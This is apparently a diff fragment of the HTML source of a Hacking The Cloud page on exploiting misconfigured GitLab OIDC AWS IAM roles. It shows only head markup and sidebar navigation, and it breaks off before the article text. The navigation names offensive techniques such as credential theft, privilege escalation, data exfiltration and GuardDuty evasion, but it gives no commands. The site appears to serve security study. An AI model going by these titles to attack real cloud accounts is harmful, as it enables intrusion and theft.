href=../../../../stylesheets/extra.css><script>__md_scope=new URL("../../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Exploiting Misconfigured GitLab OIDC AWS IAM Roles - Hacking The Cloud"><meta property=og:description content="Discover how to identify and exploit misconfigured AWS IAM roles using GitLab OIDC, with a detailed, step-by-step guide."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Exploiting Misconfigured GitLab OIDC AWS IAM Roles - Hacking The Cloud"><meta property=twitter:description content="Discover how to identify and exploit misconfigured AWS IAM roles using GitLab OIDC, with a detailed, step-by-step guide."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles.png> <link href="../../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Discover how to identify and exploit misconfigured AWS IAM roles using GitLab OIDC, with a detailed, step-by-step guide."><link href=https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ rel=canonical><link href=../exploit_amplify_vulnerability_in_same_account_scenario/ rel=prev><link href=../exploting_public_resources_attack_playbook/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../../feed_rss_updated.xml><link rel=icon href=../../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>Exploiting Misconfigured GitLab OIDC AWS IAM Roles - Hacking The Cloud</title><link rel=stylesheet href=../../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../../stylesheets/extra.css><script>__md_scope=new URL("../../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Exploiting Misconfigured GitLab OIDC AWS IAM Roles - Hacking The Cloud"><meta property=og:description content="Discover how to identify and exploit misconfigured AWS IAM roles using GitLab OIDC, with a detailed, step-by-step guide."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Exploiting Misconfigured GitLab OIDC AWS IAM Roles - Hacking The Cloud"><meta property=twitter:description content="Discover how to identify and exploit misconfigured AWS IAM roles using GitLab OIDC, with a detailed, step-by-step guide."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles.png> <link href="../../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,7 +7,7 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#iam-role-misconfiguration-using-gitlab-oidc class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3 checked> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=true> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13 checked> <div class="md-nav__link md-nav__container"> <a href=../ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=true> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#iam-role-misconfiguration-using-gitlab-oidc class=md-nav__link> <span class=md-ellipsis> IAM role misconfiguration using GitLab OIDC </span> </a> </li> <li class=md-nav__item> <a href=#how-to-exploit-this-misconfiguration class=md-nav__link> <span class=md-ellipsis> How to exploit this misconfiguration </span> </a> </li> <li class=md-nav__item> <a href=#how-the-aws-console-causes-this-misconfiguration-by-default class=md-nav__link> <span class=md-ellipsis> How the AWS console causes this misconfiguration by default </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ 